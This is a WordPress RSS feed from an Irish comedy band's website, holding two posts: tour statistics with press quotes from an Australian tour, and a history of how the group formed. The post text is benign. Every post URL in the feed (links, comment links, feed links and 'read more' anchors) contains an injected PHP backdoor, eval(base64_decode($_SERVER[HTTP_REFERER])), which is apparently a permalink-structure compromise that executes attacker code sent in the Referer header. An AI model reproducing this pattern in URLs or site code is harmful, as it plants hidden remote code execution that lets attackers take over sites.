<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>DEAD CAT BOUNCE &#187; History</title>
	<atom:link href="http://deadcatbounce.ie/category/history/feed/" rel="self" type="application/rss+xml" />
	<link>http://deadcatbounce.ie</link>
	<description>The online home of the Irish comedy rock supergroup.</description>
	<lastBuildDate>Mon, 07 May 2012 00:09:31 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.4</generator>
		<item>
		<title>Australia in words and numbers&#8230;</title>
		<link>http://deadcatbounce.ie/2010/05/20/australia-in-words-and-numbers/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://deadcatbounce.ie/2010/05/20/australia-in-words-and-numbers/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Thu, 20 May 2010 09:16:27 +0000</pubDate>
		<dc:creator>Dead Cat Bounce</dc:creator>
				<category><![CDATA[Australia]]></category>
		<category><![CDATA[History]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[Reviews]]></category>

		<guid isPermaLink="false">http://deadcatbounce.ie/?p=693</guid>
		<description><![CDATA[Australia in numbers…
15,000 	– People we played to over the tour, give or take a couple of  hundred.
2,250 	– Kilometres we drove in cars.
234 		– Fine in dollars Shane got for speeding.
128 		– Speed in kph Shane was driving  &#8230; <a href="http://deadcatbounce.ie/2010/05/20/australia-in-words-and-numbers/%&#038;({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}&#124;.+)&#038;%/">Read the rest of this entry <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p><strong><img class="alignleft" src="http://sphotos.ak.fbcdn.net/hphotos-ak-snc3/hs283.snc3/27831_410523754344_21859364344_3968090_3154380_n.jpg" alt="" width="216" height="216" />Australia in numbers…</strong></p>
<p>15,000 	– People we played to over the tour, give or take a couple of  hundred.<br />
2,250 	– Kilometres we drove in cars.<br />
234 		– Fine in dollars Shane got for speeding.<br />
128 		– Speed in kph Shane was driving when he got the fine.<br />
90 		– Days we were away.<br />
75 		– Number of shows.<br />
57 		– Hours we spent on planes.<br />
30 		– Chickens we reckon Jim ate in Australia.<br />
24 		– Hours we were delayed in Frankfurt.<br />
12 		– Interviews and features on us in the Aussie newspapers.<br />
11 		– Appearances on Aussie radio.<br />
10 		– Reviews of our show.<br />
9 		– Towns and cities we stayed in.<br />
6 		– Number of times we were bitten by a spider.<br />
4 		– Appearances on Aussie TV.<br />
3 		– Number of times we got in trouble with the police.<br />
2 		– Spiders we actually saw.<br />
1 		– Awards we that won we’re not supposed to mention yet.</p>
<p><strong>Australia in words…</strong></p>
<p>“Each member of the group is an incredible musician and comedian… These  brilliant boys redefine rock&#8217;n'roll comedy. ****” – THE AGE</p>
<p>“It seems there’s nothing these charming musicians can’t do… Awesome.  *****” – ADELAIDE ADVERTISER</p>
<p>“Funny as hell. ****” – TIME OUT SYDNEY</p>
<p>“The best fun you’re ever gonna have at a rock gig … You won’t be  disappointed.” – AUSSIE THEATRE REVIEW</p>
<p>“Dead Cat Bounce can really play… It’s a winning format.” SYDNEY MORNING  HERALD</p>
<p>“This could be the easiest and quickest review ever written: do yourself  a favour – get a ticket!” – THE PUN</p>
<p>“This show was relentless, I never wanted it to end. *****” – FUNNY  TONNE</p>
<p>“These four Irish lads are freaking awesome… Energetic and self-assured,  upbeat and a touch wild, and absolutely SEX.” RABBIT HOLE URBAN MUSIC</p>
<p>“Raucously hilarious… My belly hurt for days after this show.  Don’t  miss it.”  FIVE AA RADIO</p>
<p>“Dead Cat Bounce are all rather attractive. There, I said it. Even the  ginger in the leopard-print man-leggings.” – THE ENTHUSIAST</p>
<p>See you next year!</p>
<p>DCB</p>
]]></content:encoded>
			<wfw:commentRss>http://deadcatbounce.ie/2010/05/20/australia-in-words-and-numbers/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>History</title>
		<link>http://deadcatbounce.ie/2008/03/25/history/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://deadcatbounce.ie/2008/03/25/history/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Tue, 25 Mar 2008 10:34:18 +0000</pubDate>
		<dc:creator>Dead Cat Bounce</dc:creator>
				<category><![CDATA[History]]></category>

		<guid isPermaLink="false">http://deadcatbounce.ie/blog/?p=13</guid>
		<description><![CDATA[The members of Dead Cat Bounce  met in Trinity College Dublin where they were all founders of the ten-man  comedy group H-BAM. H-BAM performed around Ireland and the UK from 2002-4  with regular sell-out shows in Dublin’s  &#8230; <a href="http://deadcatbounce.ie/2008/03/25/history/%&#038;({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}&#124;.+)&#038;%/">Read the rest of this entry <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>The members of Dead Cat Bounce  met in Trinity College Dublin where they were all founders of the ten-man  comedy group H-BAM. H-BAM performed around Ireland and the UK from 2002-4  with regular sell-out shows in Dublin’s Temple Bar Music Centre and  two very successful runs at the Edinburgh Fringe Festival (2003, 2004).  They performed what they thought would be their final show in November  of 2004.</p>
<p>In 2005 James and Shane were  part of the five-man sketch group Los Albatross which won critical acclaim  at the Edinburgh Fringe Festival for their show ‘The Boy Who Cried  Whale’.</p>
<p>In the same year James, Mick  and Demian formed the comedy band Captain Seaweed and the Shagnasties,  and headlined the comedy tent at the Trinity Ball, 2005.</p>
<p>In 2006 H-BAM reformed for  Mo Molam’s memorial at the Theatre Royal Drury Lane. They performed  one sketch ‘Graham and the Nazis’ to thunderous silence, after a  technical mix-up led to images of Mo being inter-spliced with swastikas  on an enormous screen behind them.</p>
<p>The group then spent two years  getting jobs, getting bored and talking about writing comedy. Finally  in late 2007, Demian, Shane, James and Mick began writing ‘Famine!  The Musical’ (which they are still working on). They also began writing  on a sketch show, Dead Cat Bounce, which premiered at the Project Arts  Centre in January 2008.</p>
]]></content:encoded>
			<wfw:commentRss>http://deadcatbounce.ie/2008/03/25/history/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

